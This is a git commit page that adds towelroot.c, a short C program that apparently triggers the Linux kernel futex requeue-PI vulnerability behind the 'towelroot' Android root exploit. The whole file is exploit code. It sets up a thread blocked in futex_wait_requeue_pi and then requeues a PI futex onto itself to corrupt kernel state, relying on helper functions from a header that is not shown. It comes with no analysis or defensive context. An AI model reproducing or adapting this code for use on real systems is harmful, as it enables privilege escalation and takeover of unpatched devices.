aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorZi Zhou <zzhou007@ucr.edu>2016-11-04 10:30:47 -0700
committerGitHub <noreply@github.com>2016-11-04 10:30:47 -0700
commit1eaf4d1bf329bbbb94f0ebc765e0a36b53ae618a (patch)
treec1b67afa70d14dc0df563ee84a9535b70585b852
parentaa9ac6e02ab745d37a4fd785ee7f32bc5ea6844c (diff)
downloadtowelroot-1eaf4d1bf329bbbb94f0ebc765e0a36b53ae618a.tar.gz
towelroot-1eaf4d1bf329bbbb94f0ebc765e0a36b53ae618a.tar.bz2
towelroot-1eaf4d1bf329bbbb94f0ebc765e0a36b53ae618a.zip
Create towelroot.c
-rw-r--r--towelroot.c56
1 files changed, 56 insertions, 0 deletions
diff --git a/towelroot.c b/towelroot.c
new file mode 100644
index 0000000..51c2962
--- /dev/null
+++ b/towelroot.c
@@ -0,0 +1,56 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <linux/futex.h>
+#include "userlock.h"
+
+int A = 0, B = 0;
+
+volatile int invoke_futex_wait_requeue_pi = 0;
+volatile pid_t thread_tid = -1;
+
+void *thread(void *arg)
+{
+ thread_tid = gettid();
+ printf("[2]\n");
+ userlock_wait(&invoke_futex_wait_requeue_pi);
+ futex_wait_requeue_pi(&A, &B);
+ printf("Someone woke me up\n");
+ while (1) {
+ sleep(1);
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ pthread_t t;
+ int context_switch_count = 0;
+
+ printf("[1]\n");
+
+ futex_lock_pi(&B);
+
+ userlock_lock(&invoke_futex_wait_requeue_pi);
+ pthread_create(&t, NULL, thread, NULL);
+ /* Wait for the thread to be in a system call */
+ while (thread_tid < 0) {
+ usleep(10);
+ }
+ context_switch_count = get_voluntary_ctxt_switches(thread_tid);
+ userlock_release(&invoke_futex_wait_requeue_pi);
+ wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
+
+ printf("[3]\n");
+ futex_requeue_pi(&A, &B, A);
+
+ printf("[4]\n");
+ B = 0;
+
+ printf("[5]\n");
+ futex_requeue_pi(&B, &B, B);
+
+ while (1) {
+ sleep(1);
+ }
+ return 0;
+}